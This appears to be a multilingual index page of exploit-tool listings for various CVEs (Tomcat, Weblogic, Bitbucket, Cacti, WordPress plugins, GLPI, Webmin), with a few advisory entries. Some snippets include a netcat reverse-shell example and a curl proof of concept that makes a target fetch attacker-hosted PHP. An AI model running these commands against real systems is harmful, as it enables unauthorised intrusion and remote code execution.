CVE-2019-0232

CVE-2019-0232 Descrição Esta é uma ferramenta que automatiza o fluxo de trabalho de exploração do CVE‑2019‑0232, oferecendo tanto o modo de execução de comandos quanto o modo de shell reverso. Ela suporta codificação automática de URLs para comandos, inicia um servidor HTTP temporário para hosped...

CVE-2022-36804-POC

CVE-2022-36804-POC 🕷️ Bitbucket CVE-2022-36804 esecuzione di comandi remoti non autenticata Sfruttamento Trova repository pubblicamente visibili - example.com/repos?visibility=public...

CVE-2020-8813-Cacti-RCE-in-graph_realtime

CVE-2020-8813 - RCE tramite graphrealtime.php in Cacti 1.2.8 Funzionalità RCE tramite graphrealtime.php in Cacti 1.2.8 Modalità live Esecuzione di un singolo comando Modalità verbose Descrizione...

CVE-2022-22947-Rce_POC

CVE-2022-22947-RcePOC Rilevamento batch di URL per Spring-Cloud-Gateway-CVE-2022-22947 Utilizzo py Spring-Cloud-Gateway.py UrlsPath Dopo l'esecuzione viene generato il file gateway.log, dove "+" indica presenza, "-" indica assenza, "" indica richiesta anomala...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP für Python in einem Schritt vollständig Verwendung: Python3 exploit.py -t -c Tipps: Kein Echo Beispiel： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' dann erhältst du eine Shell...

CVE-2019-5010

CVE-2019-5010 Autore: Jonathan M. Wilbur Anno di copyright: 2019 Licenza: MIT License Come usare 1. Installa tutte le dipendenze eseguendo npm install. 2. Compila il progetto usando npm run build. 3. Esegui node ./dist/index.js per creare il certificato malevolo in ./dist/cve-2019-5010-cert.pem. ...

CVE-2026-42007

CVE-2026-42007 affects Dovecot mail server. An attacker with valid credentials can trigger a use-after-free in the mail editing code by submitting a Sieve script using the editheader extension . This leads to memory leak and potential memory corruption during mail delivery, which can crash the de...

EUVD-2026-67672

An attacker that has valid credentials can use a Sieve script with the editheader extension to trigger a use-after-free in the mail editing code, and to write memory contents beyond the intended buffer into the delivered mail. This causes memory leak and opportunity to do memory corruption during...

SOC-L1-OSINT-Investigation-MikroTik-CVE-2018-1156

SOC L1 Threat Investigation: MikroTik RouterOS Multiple Exposed Services Analista: Jonatan Alexander Guerrero Gomez | Ruolo Obiettivo: SOC L1 / Analista di Cybersecurity Junior Stato: Indagine Chiusa | Severità: Alta Executive Summary Esercizio proattivo di threat hunting che identifica un...

EUVD-2026-67663

An attacker that has valid credentials can submit a Sieve script containing an extreme numeric literal, which causes an out-of-bounds write when the ManageSieve service compiles the script. This causes memory corruption and an observed crash of the ManageSieve process, resulting in denial of...

CVE-2017-8759

Toolkit per exploit per CVE-2017-8759 Non fare lo stronzo Semplice strumento scritto in C per gestire la vulnerabilità RCE in .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 e 4.7. noto anche come "Vulnerabilità di esecuzione remota di codice in .NET Framework." Aiuto root@kitploit:...

CVE-2023-0315

CVE-2023-0315 L'exploit ufficiale per l'esecuzione di codice remoto in Froxlor CVE-2023-0315...

CVE-2022-35914

Script in Ruby per la CVE-2022-35914 - RCE in GLPI CVE-2022-35914 Aggiungi semplicemente il Target allo Script. Utilizzo: root@kitploit: ruby.exe exploit.rb = whoami Puoi chiudere con: root@kitploit: = exit...

obridge

OBridge OBridge bietet einen einfachen Java-Quellcodegenerator zum Aufrufen von Oracle PL/SQL-Package-Prozeduren. Unterstützte Eingabe-, Ausgabeparameter und Rückgabewerte sind: BINARYINTEGER BOOLEAN CHAR CLOB BLOB DATE NCHAR NUMBER NVARCHAR2 OBJECT - Oracle Object Type PLSINTEGER TABLE - Table o...

SSCMS-PluginShell

Installare VisualStudio 2. Importare il progetto 3. Modificare il valore IPAddress.Parse nel file Startup.cs root@kitploit: using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using...

CVE-2012-2982

CVE-2012-2982 John Hammond | 4 settembre 2021 Controllando searchsploit per Webmin 1.580 ho visto solo un modulo Metasploit per l'attacco di esecuzione remota di codice su /file/show.cgi in quella versione legacy di Webmin. Questo codice è un tentativo di ricrearlo in Python senza usare Metasploi...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPress-Plugin RCE RCE auf einem Social Warfare WordPress-Plugin ohne vorherige Authentifizierung Proof of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Anfälliger Code :...

CVE-2019-15029

CVE-2019-15029 Il codice exploit ufficiale per FusionPBX v4.4.8 Remote Code Execution CVE-2019-15029 Modulo Metasploit Ho scritto un semplice modulo Metasploit per sfruttare questo problema fusionpbxservices.rb, devi solo scaricarlo e copiarlo nella directory dei moduli di Metasploit...

CVE-2024-9593

CVE-2024-9593 Time Clock = 1.2.2 & Time Clock Pro = 1.1.4 - Nicht authentifizierte eingeschränkte Remote-Code-Ausführung Beschreibung: Das Time Clock Plugin und das Time Clock Pro Plugin für WordPress sind anfällig für Remote-Code-Ausführung in Versionen bis einschließlich 1.2.2 für Time Clock un...

CVE-2024-4040

CVE-2024-4040 Una vulnerabilità di server side template injection in CrushFTP in tutte le versioni precedenti alla 10.7.1 e alla 11.1.0 su tutte le piattaforme consente a utenti remoti non autenticati di leggere file dal filesystem al di fuori della VFS Sandbox, aggirare l'autenticazione per...